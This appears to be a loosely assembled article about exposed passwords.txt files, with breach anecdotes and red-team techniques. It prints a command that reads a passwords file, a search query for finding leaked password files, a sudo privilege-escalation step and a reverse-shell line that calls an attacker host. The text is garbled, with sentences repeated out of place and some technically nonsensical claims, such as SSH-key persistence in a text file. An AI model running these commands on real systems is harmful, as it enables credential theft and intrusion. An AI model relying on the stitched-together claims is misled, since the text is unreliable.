Passwords.txt <Edge>

A prominent game developer suffered a ransomware attack. The attacker didn't exploit a software vulnerability. Instead, they found a file named dev_passwords.txt on a public-facing Jenkins server. Inside were the AWS root keys. The attacker deleted 80% of the company's production data in one command.

/home/john/passwords.txt
/var/backups/passwords.txt.bak

Pentesters and red teams love passwords.txt. During a red team engagement, finding this file often ends the exercise immediately. The standard post-exploitation command is:

type C:\Users\%USERNAME%\Desktop\passwords.txt

If that returns VPN: Corporate|User: Admin|Pass: Winter2024!—the red team has achieved "Domain Dominance" in under ten minutes. passwords.txt

Attackers also use this file for persistence. They will add their own SSH key to passwords.txt disguised as a legitimate entry, ensuring they have a backdoor even if the original password is changed.

If a website has an exposed .git directory, a hacker can download the entire source code history. Buried in commit a7f3e9b is often the ghost of passwords.txt—deleted, but still accessible via version history. A prominent game developer suffered a ransomware attack

From admin user (or via sudo if admin has sudo rights with weak password):

sudo -l

If admin can run any command as root, immediate root compromise.
Example: Pentesters and red teams love passwords

User admin may run (ALL) NOPASSWD: /usr/bin/systemctl

Attacker escalates:

sudo systemctl start reverse-shell.service   # custom service with ExecStart=/bin/bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"

This is the modern gold rush. Attackers use automated scanners to look for open Amazon S3 buckets, Azure Blobs, or Google Drive links. A simple search using site:drive.google.com "passwords.txt" often returns live, publicly accessible files containing corporate VPN logins, banking credentials, and social media accounts.

In 2023, a penetration test for a manufacturing firm revealed that the entire corporate network hinged on a file named IT_passwords.txt sitting on the C: drive of the receptionist’s computer. The receptionist had local admin rights (a separate sin), and the file contained the Domain Admin password. Once the ransomware hit that machine, the game was over.

The file /home/john/passwords.txt contained unencrypted credentials for email, Wi-Fi, and banking, as well as the user’s login password. Another backup file contained password hashes that were cracked due to weak passwords.
